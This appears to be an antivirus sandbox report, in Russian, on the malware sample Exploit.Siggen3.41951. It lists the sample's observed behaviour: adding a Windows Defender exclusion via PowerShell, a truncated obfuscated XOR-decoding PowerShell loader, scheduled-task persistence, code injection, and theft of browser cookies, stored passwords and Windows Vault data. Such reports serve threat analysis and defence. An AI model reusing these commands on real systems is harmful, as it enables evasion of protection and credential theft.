Exploit.Siggen3.41951

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса:

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\BttqxcYvYaRne.exe"

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' function mda7d {param($gdc3e)$k85d4='x171937';$v62355='';for ($i=0; $i -lt $gdc3e.length;$i+=2){$bb42f=[convert]::ToByte($gdc3e.Substring($i,2),16);$v62355+=[char]($bb42f -bxor $k85d4[($i/2)%$k...

Внедряет код в

следующие пользовательские процессы:

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами

Читает файлы, отвечающие за хранение паролей сторонними программами

Изменения в файловой системе

Создает следующие файлы

%LOCALAPPDATA%\microsoft\forms\frmdata64.dat
%APPDATA%\ir5cvfqv.kp2\chrome\default\cookies
%APPDATA%\ir5cvfqv.kp2\opera browser\cookies
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%TEMP%\tmp87f4.tmp
%APPDATA%\bttqxcyvyarne.exe
%APPDATA%\ir5cvfqv.kp2\firefox\profiles\gn7ryp3k.default\cookies.sqlite
%APPDATA%\ta2c5.exe
%TEMP%\res907d.tmp
%TEMP%\csc906c.tmp
%TEMP%\bm0raybq.out
%TEMP%\bm0raybq.cmdline
%TEMP%\bm0raybq.0.cs
%WINDIR%\inf\outlook\0009\outlperf.ini
%WINDIR%\inf\outlook\outlperf.h
%TEMP%\outlook logging\firstrun.log
%TEMP%\bm0raybq.dll
%APPDATA%\ir5cvfqv.kp2\thunderbird\profiles\wjj9aet2.default\cookies.sqlite

Присваивает атрибут 'скрытый' для следующих файлов

Удаляет следующие файлы

Сетевая активность

Подключается к

TCP

Другие

UDP

Другое

Ищет следующие окна

Создает и запускает на исполнение

'%APPDATA%\ta2c5.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' function mda7d {param($gdc3e)$k85d4='x171937';$v62355='';for ($i=0; $i -lt $gdc3e.length;$i+=2){$bb42f=[convert]::ToByte($gdc3e.Substring($i,2),16);$v62355+=[char]($bb42f -bxor $k85d4[($i/2)%$k...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bm0raybq.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES907D.tmp" "%TEMP%\CSC906C.tmp"' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\BttqxcYvYaRne.exe"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\BttqxcYvYaRne" /XML "%TEMP%\tmp87F4.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\outlook.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bm0raybq.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES907D.tmp" "%TEMP%\CSC906C.tmp"
'%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\BttqxcYvYaRne" /XML "%TEMP%\tmp87F4.tmp"